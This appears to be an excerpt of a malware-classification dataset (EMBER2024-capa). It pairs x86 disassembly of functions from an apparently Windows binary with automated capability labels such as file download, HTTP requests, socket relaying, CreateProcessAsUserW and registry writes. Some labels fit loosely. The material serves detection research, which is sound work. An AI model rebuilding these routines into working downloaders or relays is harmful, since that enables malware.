joyce8/EMBER2024-capa huggingface dataset:
Function at 0x406b08
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x68
push ebx
xor ebx, ebx
push 0x40318c
mov byte [ebp - 1], bl
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov dword [ebp - 0x10], eax
cmp eax, ebx
je 0x406bec
push esi
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push edi
push 0x403198
push eax
call esi
push 0x4031b0
push dword [ebp - 0x10]
mov edi, eax
call esi
mov dword [ebp - 0x14], eax
cmp edi, ebx
je 0x406be1
cmp eax, ebx
je 0x406be1
push ebx
push dword [ebp + 8]
lea eax, [ebp - 0xc]
push eax
mov dword [ebp - 0xc], ebx
call edi
test eax, eax
jne 0x406b6d
mov dword [ebp - 0xc], ebx
push 0x44
pop edx
xor eax, eax
push edx
mov word [ebp - 8], ax
push ebx
lea eax, [ebp - 0x68]
push eax
call fcn.00405299
mov ecx, dword [ebp + 0xc]
mov dword [ebp - 0x68], edx
mov dword [ebp - 0x60], ebx
cmp ecx, ebx
jne 0x406b91
lea ecx, [ebp - 8]
lea eax, [ebp - 0x24]
push eax
lea eax, [ebp - 0x68]
push eax
mov eax, dword [ebp - 0xc]
push ebx
push eax
neg eax
sbb eax, eax
and eax, 0x400
or eax, 0x4000000
push eax
push ebx
push ebx
push ebx
push ecx
push ebx
push dword [ebp + 8]
call dword [sym.imp.ADVAPI32.dll_CreateProcessAsUserW]
test eax, eax
je 0x406bd6
push dword [ebp - 0x20]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call esi
push dword [ebp - 0x24]
call esi
cmp dword [ebp - 0x1c], ebx
setne byte [ebp - 1]
cmp dword [ebp - 0xc], ebx
je 0x406be1
push dword [ebp - 0xc]
call dword [ebp - 0x14]
push dword [ebp - 0x10]
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
pop edi
pop esi
movzx eax, byte [ebp - 1]
pop ebx
leave
ret 8

Function at 0x406c1b
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
lea eax, [ebp + 0x10]
push eax
push 0
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
test eax, eax
je 0x406c45
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp + 0x10]
jmp 0x406c47
xor eax, eax
pop ebp
ret 0xc
Function at 0x406ca6
Capabilities:
Query environment variable

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x56c
lea eax, [ebp - 0x24c]
push eax
push 0x4031ec
call fcn.0040a569
test al, al
je 0x406db4
lea eax, [ebp - 0x350]
push eax
lea eax, [ebp - 0x24c]
push eax
call dword [sym.imp.USER32.dll_CharToOemW]
lea eax, [ebp - 0x350]
push eax
push dword [ebp + 8]
lea eax, [ebp + 8]
push 0x4031f4
push eax
call fcn.00405faa
add esp, 0x10
cmp eax, 0xffffffff
je 0x406da8
push ebx
push eax
push dword [ebp + 8]
lea eax, [ebp - 0x24c]
push eax
call fcn.0040a39d
push dword [ebp + 8]
mov bl, al
call fcn.004051e6
test bl, bl
pop ebx
je 0x406da8
push edi
lea eax, [ebp - 0x24c]
push eax
push 0x403214
mov edx, 0x10e
lea edi, [ebp - 0x56c]
call fcn.00405ed9
pop ecx
pop ecx
pop edi
cmp eax, 0xffffffff
jle 0x406da8
push 0x104
lea eax, [ebp - 0x24c]
push eax
push 0x403224
call dword [sym.imp.KERNEL32.dll_GetEnvironmentVariableW]
dec eax
cmp eax, 0x102
ja 0x406da8
push 0x44
pop edx
push edx
push 0
lea eax, [ebp - 0x44]
push eax
call fcn.00405299
xor eax, eax
push eax
mov word [ebp - 0x14], ax
lea eax, [ebp - 0x44]
push eax
push 0
lea eax, [ebp - 0x56c]
push eax
lea eax, [ebp - 0x24c]
push eax
mov dword [ebp - 0x44], edx
mov dword [ebp - 0x18], 1
call fcn.00406aad
test eax, eax
setne al
jmp 0x406db6
lea eax, [ebp - 0x24c]
push eax
call fcn.0040a548
xor al, al
leave
ret 4

Function at 0x406dba
Capabilities:
Connect to http server
Create http request

Disassembly:
push ebx
push edi
xor edi, edi
cmp ecx, edi
jne 0x406dc7
mov ecx, 0x403234
push edi
push edi
not eax
push edi
and eax, 1
push eax
push ecx
call dword [sym.imp.WININET.dll_InternetOpenA]
mov ebx, eax
cmp ebx, edi
je 0x406e1f
push esi
xor esi, esi
push 4
lea eax, [esi + 0x422394]
push eax
push dword [esi + 0x422390]
push ebx
call dword [sym.imp.WININET.dll_InternetSetOptionA]
add esi, 8
cmp esi, 0x18
jb 0x406de0
push edi
push edi
push 3
push edi
push edi
push dword [esp + 0x28]
push dword [esp + 0x28]
push ebx
call dword [sym.imp.WININET.dll_InternetConnectA]
pop esi
cmp eax, edi
jne 0x406e21
push ebx
call dword [sym.imp.WININET.dll_InternetCloseHandle]
xor eax, eax
pop edi
pop ebx
ret 8
Function at 0x406ece
Capabilities:
Check http status code
Send data
Send http request

Disassembly:
push ebp
mov ebp, esp
push ebx
mov ebx, dword [ebp + 0x18]
and ebx, 2
push esi
mov eax, 0x8404f700
je 0x406ee5
mov eax, 0x8444f700
test byte [ebp + 0x18], 4
je 0x406ef0
or eax, 0x800000
test byte [ebp + 0x18], 1
mov ecx, 0x403278
jne 0x406f00
mov ecx, 0x403280
push 0
push eax
push 0x422388
push 0
push 0x40326c
push dword [ebp + 0xc]
push ecx
push dword [ebp + 8]
call dword [sym.imp.WININET.dll_HttpOpenRequestA]
mov esi, eax
test esi, esi
je 0x406f80
test ebx, ebx
je 0x406f2c
xor eax, eax
xor ecx, ecx
jmp 0x406f34
push 0x13
mov eax, 0x403284
pop ecx
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push ecx
push eax
push esi
call dword [sym.imp.WININET.dll_HttpSendRequestA]
test eax, eax
je 0x406f79
and dword [ebp + 0x18], 0
push 0
lea eax, [ebp + 0xc]
push eax
lea eax, [ebp + 0x18]
push eax
push 0x20000013
push esi
mov dword [ebp + 0xc], 4
call dword [sym.imp.WININET.dll_HttpQueryInfoA]
test eax, eax
je 0x406f79
cmp dword [ebp + 0x18], 0xc8
jne 0x406f79
mov eax, esi
jmp 0x406f82
push esi
call dword [sym.imp.WININET.dll_InternetCloseHandle]
xor eax, eax
pop esi
pop ebx
pop ebp
ret 0x14

Function at 0x406f88
Capabilities:
Read data from internet
Receive data

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push esi
push edi
mov ebx, eax
xor edi, edi
mov eax, 0xa00000
cmp ebx, edi
je 0x406fa1
cmp ebx, eax
jbe 0x406fa3
mov ebx, eax
mov dword [ebp - 8], edi
cmp dword [ebp + 0x10], 0
je 0x406fbe
push 0
push dword [ebp + 0x10]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
cmp eax, 0x102
jne 0x406fff
lea ecx, [edi + 0x1000]
lea esi, [ebp - 8]
mov dword [ebp - 4], 0x1000
call fcn.00405171
test al, al
je 0x406fff
mov esi, dword [ebp - 8]
lea eax, [ebp - 4]
push eax
push dword [ebp - 4]
lea eax, [esi + edi]
push eax
push dword [ebp + 8]
call dword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
je 0x406fff
cmp dword [ebp - 4], 0
je 0x407010
add edi, dword [ebp - 4]
cmp edi, ebx
jbe 0x406fa6
push dword [ebp - 8]
call fcn.004051e6
xor al, al
pop edi
pop esi
pop ebx
leave
ret 0xc
mov eax, dword [ebp + 0xc]
test eax, eax
je 0x40701e
mov dword [eax], esi
mov dword [eax + 4], edi
jmp 0x407024
push esi
call fcn.004051e6
mov al, 1
jmp 0x407009
Function at 0x407028
Capabilities:
Download and write a file
Read data from internet
Receive and write data from server to client
Receive data
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push edi
xor ebx, ebx
push ebx
push 0x80
push 2
push ebx
push 1
push 0x40000000
push dword [ebp + 0xc]
mov byte [ebp - 1], bl
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov edi, eax
cmp edi, 0xffffffff
je 0x4070f3
mov eax, 0x1000
call fcn.004051b6
mov dword [ebp - 0x10], eax
cmp eax, ebx
je 0x4070df
mov dword [ebp - 0xc], ebx
cmp dword [ebp + 0x14], ebx
je 0x407083
push ebx
push dword [ebp + 0x14]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
cmp eax, 0x102
jne 0x4070d7
lea eax, [ebp - 8]
push eax
push 0x1000
push dword [ebp - 0x10]
push dword [ebp + 8]
call dword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
je 0x4070d7
cmp dword [ebp - 8], ebx
je 0x4070cc
push ebx
lea eax, [ebp - 0x14]
push eax
push dword [ebp - 8]
push dword [ebp - 0x10]
push edi
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x4070d7
mov eax, dword [ebp - 8]
cmp eax, dword [ebp - 0x14]
jne 0x4070d7
add dword [ebp - 0xc], eax
mov eax, dword [ebp - 0xc]
cmp eax, dword [ebp + 0x10]
jbe 0x40706d
jmp 0x4070d7
push edi
call dword [sym.imp.KERNEL32.dll_FlushFileBuffers]
mov byte [ebp - 1], 1
push dword [ebp - 0x10]
call fcn.004051e6
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
cmp byte [ebp - 1], bl
jne 0x4070f3
push dword [ebp + 0xc]
call fcn.0040a548
mov al, byte [ebp - 1]
pop edi
pop ebx
leave
ret 0x10

Function at 0x407426
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
mov edx, dword [eax]
sub edx, dword [ebp + 8]
xor ecx, ecx
sub esp, 0xc
mov dword [eax + 0x40], edx
mov dword [eax + 0x44], ecx
cmp dword [ebp + 8], ecx
jbe 0x4074b9
mov edx, dword [eax + 0x4c]
mov dword [ebp - 4], edx
mov edx, dword [eax + 0x58]
push ebx
push esi
mov esi, dword [eax + 0x54]
mov dword [ebp - 8], edx
mov edx, dword [eax + 0x5c]
push edi
mov edi, dword [eax + 0x50]
mov dword [ebp - 0xc], edx
mov edx, dword [eax + 0x48]
sub edi, esi
movzx ebx, byte [edx + ecx]
movzx eax, byte [edx + ecx + 1]
shl ebx, 5
xor eax, ebx
movzx ebx, byte [edx + ecx + 2]
dec dword [ebp + 8]
shl eax, 5
xor eax, ebx
mov ebx, dword [ebp - 4]
imul eax, eax, 0x9f5f
shr eax, 5
and eax, 0xffff
mov ebx, dword [ebx + eax*4]
mov dword [edi + esi], ebx
mov ebx, dword [ebp - 4]
mov dword [ebx + eax*4], ecx
mov ebx, dword [ebp - 8]
mov dword [esi], 0x801
inc dword [ebx + eax*4]
movzx eax, word [edx + ecx]
mov ebx, dword [ebp - 0xc]
mov dword [ebx + eax*4], ecx
inc ecx
add esi, 4
cmp dword [ebp + 8], 0
ja 0x40745e
pop edi
pop esi
pop ebx
leave
ret 4
Function at 0x4078e9
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ecx
cmp dword [ebp + 8], 0
jbe 0x40796a
push ebx
push esi
mov esi, dword [edi + 0x34]
mov edx, edi
call fcn.0040771a
mov ecx, dword [edi + 0x30]
mov eax, dword [edi + 0x48]
lea edx, [ecx + eax]
movzx eax, byte [edx]
movzx esi, byte [edx + 1]
shl eax, 5
xor eax, esi
movzx esi, byte [edx + 2]
mov ebx, dword [edi + 0x50]
shl eax, 5
xor eax, esi
mov esi, dword [edi + 0x4c]
imul eax, eax, 0x9f5f
shr eax, 5
and eax, 0xffff
shl eax, 2
add esi, eax
mov dword [ebp - 4], esi
mov esi, dword [esi]
mov dword [ebx + ecx*4], esi
mov esi, dword [ebp - 4]
mov dword [esi], ecx
mov esi, dword [edi + 0x54]
mov dword [esi + ecx*4], 0x801
mov esi, dword [edi + 0x58]
inc dword [eax + esi]
movzx eax, word [edx]
mov edx, dword [edi + 0x5c]
mov dword [edx + eax*4], ecx
mov eax, edi
call fcn.0040787d
dec dword [ebp + 8]
jne 0x4078f5
pop esi
pop ebx
leave
ret 4

Function at 0x408129
Capabilities:
Get socket status
Receive data
Receive data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10c
push esi
cmp ecx, 0xffffffff
je 0x40814f
xor edx, edx
mov eax, ecx
mov esi, 0x3e8
div esi
imul edx, edx, 0x3e8
mov dword [ebp - 8], eax
mov dword [ebp - 4], edx
inc ecx
neg ecx
sbb ecx, ecx
lea eax, [ebp - 8]
and ecx, eax
push ecx
xor esi, esi
push esi
push esi
lea eax, [ebp - 0x10c]
push eax
push esi
mov dword [ebp - 0x10c], 1
mov dword [ebp - 0x108], ebx
call dword [sym.imp.WS2_32.dll_select]
cmp eax, 1
je 0x408186
or eax, 0xffffffff
jmp 0x408194
push esi
push dword [ebp + 0xc]
push dword [ebp + 8]
push ebx
call dword [sym.imp.WS2_32.dll_recv]
pop esi
leave
ret 8

Function at 0x408199
Capabilities:
Receive data
Receive data on socket

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
mov esi, eax
mov ebx, ecx
cmp dword [ebp + 0xc], 0
jbe 0x4081b6
mov ecx, dword [ebp + 0xc]
push esi
push dword [ebp + 8]
call fcn.00408129
jmp 0x4081c3
push 0
push esi
push dword [ebp + 8]
push ebx
call dword [sym.imp.WS2_32.dll_recv]
test eax, eax
jle 0x4081dd
add dword [ebp + 8], eax
sub esi, eax
test esi, esi
jg 0x4081a2
xor eax, eax
test esi, esi
sete al
pop esi
pop ebx
pop ebp
ret 8
xor al, al
jmp 0x4081d7

Function at 0x408210
Capabilities:
Send data
Send data on socket

Disassembly:
push 0
push dword [esp + 0x10]
push dword [esp + 0x10]
push dword [esp + 0x10]
call dword [sym.imp.WS2_32.dll_send]
cmp eax, dword [esp + 0xc]
sete al
ret 0xc

Function at 0x40822e
Capabilities:
Connect socket

Disassembly:
movzx eax, word [edi]
push esi
push 6
push 1
push eax
call dword [sym.imp.WS2_32.dll_socket]
mov esi, eax
cmp esi, 0xffffffff
je 0x40826b
xor eax, eax
cmp word [edi], 2
setne al
dec eax
and eax, 0xfffffff4
add eax, 0x1c
push eax
push edi
push esi
call dword [sym.imp.WS2_32.dll_connect]
test eax, eax
je 0x40826b
push esi
call dword [sym.imp.WS2_32.dll_closesocket]
or esi, 0xffffffff
mov eax, esi
pop esi
ret
Function at 0x40826f
Capabilities:
Resolve dns

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push edi
rol ax, 8
movzx ebx, ax
xor edi, edi
lea eax, [ebp + 8]
push eax
push edi
push edi
push dword [ebp + 8]
mov dword [ebp - 4], edi
mov dword [ebp - 8], edi
call dword [sym.imp.WS2_32.dll_getaddrinfo]
test eax, eax
je 0x4082a0
or eax, 0xffffffff
jmp 0x408322
push esi
mov esi, dword [ebp + 8]
jmp 0x4082d4
mov eax, dword [esi + 4]
cmp eax, 2
jne 0x4082be
push dword [esi + 0x10]
push dword [esi + 0x18]
call fcn.00405239
mov dword [ebp - 4], eax
jmp 0x4082d1
cmp eax, 0x17
jne 0x4082d1
push dword [esi + 0x10]
push dword [esi + 0x18]
call fcn.00405239
mov dword [ebp - 8], eax
mov esi, dword [esi + 0x1c]
cmp esi, edi
jne 0x4082a6
push dword [ebp + 8]
call dword [sym.imp.WS2_32.dll_freeaddrinfo]
mov eax, dword [ebp - 4]
or esi, 0xffffffff
cmp eax, edi
je 0x4082f8
mov edi, eax
mov word [eax + 2], bx
call fcn.0040822e
mov esi, eax
mov edi, dword [ebp - 8]
test edi, edi
je 0x40830f
cmp esi, 0xffffffff
jne 0x40830f
mov word [edi + 2], bx
call fcn.0040822e
mov esi, eax
push dword [ebp - 4]
call fcn.004051e6
push dword [ebp - 8]
call fcn.004051e6
mov eax, esi
pop esi
pop edi
pop ebx
leave
ret 4

Function at 0x4083e2
Capabilities:
Get socket status
Receive data
Receive data on socket
Send data
Send data on socket

Disassembly:
push ebp
lea ebp, [esp - 0x74]
sub esp, 0x510
push esi
push edi
mov edi, dword [sym.imp.WS2_32.dll_select]
xor esi, esi
jmp 0x40845e
mov dword [ebp + 0x70], esi
cmp dword [ebp - 0x9c], esi
jbe 0x40845e
mov eax, dword [ebp + 0x70]
mov eax, dword [ebp + eax*4 - 0x98]
cmp eax, ebx
jne 0x40841a
mov ecx, dword [ebp + 0x7c]
mov dword [ebp + 0x6c], ecx
jmp 0x40841d
mov dword [ebp + 0x6c], ebx
push esi
push 0x400
lea ecx, [ebp - 0x49c]
push ecx
push eax
call dword [sym.imp.WS2_32.dll_recv]
mov dword [ebp + 0x68], eax
cmp eax, 1
jl 0x40848d
push esi
push eax
lea eax, [ebp - 0x49c]
push eax
push dword [ebp + 0x6c]
call dword [sym.imp.WS2_32.dll_send]
cmp eax, dword [ebp + 0x68]
jne 0x40848d
inc dword [ebp + 0x70]
mov eax, dword [ebp + 0x70]
cmp eax, dword [ebp - 0x9c]
jb 0x408404
mov eax, dword [ebp + 0x7c]
push esi
push esi
mov dword [ebp - 0x94], eax
push esi
lea eax, [ebp - 0x9c]
push eax
push esi
mov dword [ebp - 0x9c], 2
mov dword [ebp - 0x98], ebx
call edi
cmp eax, 1
jge 0x4083f9
pop edi
pop esi
add ebp, 0x74
leave
ret 4
Function at 0x408496
Capabilities:
Get socket status

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10c
push ebx
mov ebx, dword [ebp + 8]
push esi
mov esi, eax
mov eax, dword [ebp + 0xc]
lea ecx, [esi + 1]
cmp ecx, 0x40
jae 0x40852a
test eax, eax
je 0x4084cd
xor edx, edx
mov ebx, 0x3e8
div ebx
mov ebx, dword [ebp + 8]
imul edx, edx, 0x3e8
mov dword [ebp - 8], eax
mov dword [ebp - 4], edx
push 4
push ebx
lea eax, [ebp - 0x108]
push eax
mov dword [ebp - 0x10c], ecx
call fcn.00405222
test esi, esi
je 0x4084fb
mov eax, esi
shl eax, 2
push eax
push dword [ebp + 0x10]
lea eax, [ebp - 0x104]
push eax
call fcn.00405222
xor eax, eax
cmp eax, dword [ebp + 0xc]
lea ecx, [ebp - 8]
sbb eax, eax
and eax, ecx
push eax
push 0
push 0
lea eax, [ebp - 0x10c]
push eax
push 0
call dword [sym.imp.WS2_32.dll_select]
test eax, eax
jne 0x408533
push 0x274c
call dword [sym.imp.WS2_32.dll_WSASetLastError]
or eax, 0xffffffff
pop esi
pop ebx
leave
ret 0xc
cmp eax, 0xffffffff
je 0x40852a
xor esi, esi
push dword [ebx + esi*4]
lea eax, [ebp - 0x10c]
call fcn.00408103
test al, al
jne 0x408554
inc esi
cmp esi, 1
jb 0x40853a
jmp 0x40852a
mov eax, dword [ebx + esi*4]
jmp 0x40852d

Function at 0x408606
Capabilities:
Create udp socket

Disassembly:
movzx eax, word [esi]
push edi
push 0x11
push 2
push eax
call dword [sym.imp.WS2_32.dll_socket]
mov edi, eax
cmp edi, 0xffffffff
je 0x408643
xor eax, eax
cmp word [esi], 2
setne al
dec eax
and eax, 0xfffffff4
add eax, 0x1c
push eax
push esi
push edi
call dword [sym.imp.WS2_32.dll_bind]
test eax, eax
je 0x408643
push edi
call dword [sym.imp.WS2_32.dll_closesocket]
or edi, 0xffffffff
mov eax, edi
pop edi
ret

Function at 0x408fab
Capabilities:
Get common file path

Disassembly:
push edi
xor edi, edi
call fcn.00408ecc
test al, al
je 0x40909c
push esi
mov eax, 0x950
call fcn.004051b6
mov esi, eax
test esi, esi
je 0x409096
push dword [esp + 0xc]
lea eax, [esi + 0x53e]
push eax
xor eax, eax
call fcn.0040aa77
test al, al
je 0x409090
lea eax, [esi + 0x746]
push eax
push 0x103
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
test eax, eax
setne al
test al, al
je 0x409090
mov ecx, 0x7fffffff
mov dword [esi + 0x14], ecx
lea eax, [esi + 0x10]
mov dword [eax], ecx
xor ecx, ecx
inc ecx
push 0xc
mov dword [esi + 0x24], ecx
mov dword [esi + 0x28], ecx
push 0x403368
lea ecx, [esi + 0x132]
push ecx
call fcn.00405222
push 2
push 0x403354
lea ecx, [esi + 0x232]
push ecx
call fcn.00405222
push esi
push eax
push 0x408dba
push 0x408d82
push 0x408d36
push fcn.00408d0d
push 0x408cc5
push 0x408c8d
push fcn.00408c58
push fcn.00408acc
push fcn.00408ab9
lea eax, [esi + 4]
push 0x408e37
push eax
call dword [0x4227dc]
add esp, 0x34
mov dword [esi], eax
test eax, eax
je 0x409090
mov edi, esi
jmp 0x40909b
push esi
call fcn.004051e6
call fcn.00408f8a
pop esi
mov eax, edi
pop edi
ret 4
Function at 0x4092a2
Capabilities:
Create thread

Disassembly:
cmp byte [esi], 0x40
jb 0x4092b6
push 0x9b
call dword [sym.imp.KERNEL32.dll_SetLastError]
xor al, al
jmp 0x4092e4
cmp dword [esp + 8], 0
je 0x4092e2
push 0
push 0
push dword [esp + 0x14]
push dword [esp + 0x14]
push dword [esp + 0x14]
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
test eax, eax
je 0x4092b2
movzx ecx, byte [esi]
mov dword [esi + ecx*4 + 4], eax
inc byte [esi]
mov al, 1
ret 0xc

Function at 0x40930a
Capabilities:
Query environment variable

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
lea ecx, [ebp - 4]
push ecx
push 1
push 0
push dword [ebp + 8]
mov dword [ebp - 4], eax
push eax
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x409343
mov eax, dword [ebp + 0x10]
add eax, eax
push eax
push edi
lea eax, [ebp + 8]
push eax
push dword [ebp + 0xc]
lea esi, [ebp - 4]
call fcn.00409432
mov ebx, eax
jmp 0x409346
or ebx, 0xffffffff
cmp ebx, 0xffffffff
je 0x4093b7
test bl, 1
jne 0x4093b7
cmp dword [ebp + 8], 1
je 0x40935c
cmp dword [ebp + 8], 2
jne 0x4093b7
test ebx, ebx
jne 0x409367
xor eax, eax
mov word [edi], ax
jmp 0x4093b3
shr ebx, 1
lea eax, [ebx - 1]
cmp word [edi + eax*2], 0
jne 0x409376
dec ebx
jmp 0x409384
inc eax
cmp dword [ebp + 0x10], eax
jbe 0x4093b7
xor ecx, ecx
mov word [edi + eax*2], cx
mov ebx, eax
cmp eax, 2
jbe 0x4093b3
cmp dword [ebp + 8], 2
jne 0x4093b3
push edi
call fcn.004055a2
mov esi, eax
test esi, esi
je 0x4093aa
push dword [ebp + 0x10]
push edi
push esi
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsW]
test eax, eax
jne 0x4093ad
or ebx, 0xffffffff
push esi
call fcn.004051e6
mov eax, ebx
jmp 0x4093ba
or eax, 0xffffffff
pop esi
pop ebx
leave
ret 0xc

Function at 0x409465
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
xor ebx, ebx
push ebx
lea ecx, [ebp - 4]
push ecx
push ebx
push 2
push ebx
push ebx
push ebx
push dword [ebp + 8]
mov eax, 0x80000001
push eax
mov dword [ebp - 4], eax
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExW]
test eax, eax
jne 0x4094b2
push dword [ebp + 0x18]
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push ebx
push dword [ebp + 0xc]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
test eax, eax
jne 0x4094a9
mov bl, 1
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov al, bl
pop ebx
leave
ret 0x14
Function at 0x4094b9
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
or dword [ebp - 8], 0xffffffff
push ebx
push esi
mov esi, dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
lea eax, [ebp - 4]
push eax
xor ebx, ebx
push ebx
push dword [ebp + 0xc]
mov dword [ebp - 4], ebx
push ebx
push dword [ebp + 8]
push dword [edi]
call esi
test eax, eax
jne 0x40952b
mov eax, dword [ebp - 4]
cmp eax, ebx
jne 0x4094f0
mov dword [ebp - 8], ebx
jmp 0x40952b
add eax, 4
call fcn.004051b6
mov dword [ebp - 0xc], eax
cmp eax, ebx
je 0x40952b
lea ecx, [ebp - 4]
push ecx
push eax
push dword [ebp + 0xc]
push ebx
push dword [ebp + 8]
push dword [edi]
call esi
test eax, eax
jne 0x409523
mov eax, dword [ebp + 0x10]
mov ecx, dword [ebp - 0xc]
mov dword [eax], ecx
mov eax, dword [ebp - 4]
mov dword [ebp - 8], eax
jmp 0x40952b
push dword [ebp - 0xc]
call fcn.004051e6
push dword [edi]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, dword [ebp - 8]
pop esi
pop ebx
leave
ret 0xc

Function at 0x409565
Capabilities:
Check for time delay via gettickcount

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
push ebx
push esi
movzx ecx, cl
push edi
movzx eax, al
push ecx
call fcn.0040656b
mov esi, eax
mov dword [ebp - 0xc], esi
call fcn.0040651f
mov ebx, 0x4033a8
test eax, 0x100
je 0x40959c
mov dword [ebp - 0x1c], ebx
mov dword [ebp - 0x18], 0x4033bc
jmp 0x4095a6
mov dword [ebp - 0x1c], 0x4033bc
mov dword [ebp - 0x18], ebx
xor edi, edi
mov dword [ebp - 8], edi
mov dword [ebp - 4], edi
cmp esi, edi
jbe 0x409654
mov eax, dword [ebp + 8]
and eax, 4
mov dword [ebp - 0x10], eax
cmp dword [ebp - 4], 2
jne 0x4095eb
call fcn.0040651f
test eax, 0x100
je 0x4095dd
mov dword [ebp - 0x1c], ebx
mov dword [ebp - 0x18], 0x4033bc
jmp 0x4095e7
mov dword [ebp - 0x1c], 0x4033bc
mov dword [ebp - 0x18], ebx
and dword [ebp - 4], 0
mov eax, dword [ebp - 4]
mov esi, dword [ebp + eax*4 - 0x1c]
xor eax, eax
cmp esi, ebx
setne al
dec eax
and eax, 0xd
add eax, 6
cmp dword [ebp - 0x10], 0
mov dword [ebp - 0x14], eax
je 0x40962d
mov eax, edi
sub eax, dword [ebp - 8]
cmp eax, 1
jbe 0x40962d
call fcn.0040651f
mov ecx, eax
mov eax, 0x101
and ecx, eax
cmp ecx, eax
jne 0x40962d
push 0x20
pop eax
mov dword [ebp - 8], edi
jmp 0x40963d
mov eax, dword [ebp - 0x14]
dec eax
push 0
call fcn.0040656b
movsx ax, byte [eax + esi]
mov ecx, dword [ebp + 0xc]
mov word [ecx + edi*2], ax
inc edi
inc dword [ebp - 4]
cmp edi, dword [ebp - 0xc]
jb 0x4095bf
mov esi, dword [ebp - 0xc]
test byte [ebp + 8], 4
je 0x409673
test esi, esi
je 0x409673
mov edi, dword [ebp + 0xc]
lea eax, [edi + esi*2 - 2]
cmp word [eax], 0x20
jne 0x409676
sub eax, 2
dec esi
jne 0x409665
jmp 0x409676
mov edi, dword [ebp + 0xc]
xor eax, eax
test byte [ebp + 8], 2
mov word [edi + esi*2], ax
je 0x40968f
movzx eax, word [edi]
push eax
call dword [sym.imp.USER32.dll_CharUpperW]
mov word [edi], ax
pop edi
pop esi
pop ebx
leave
ret 8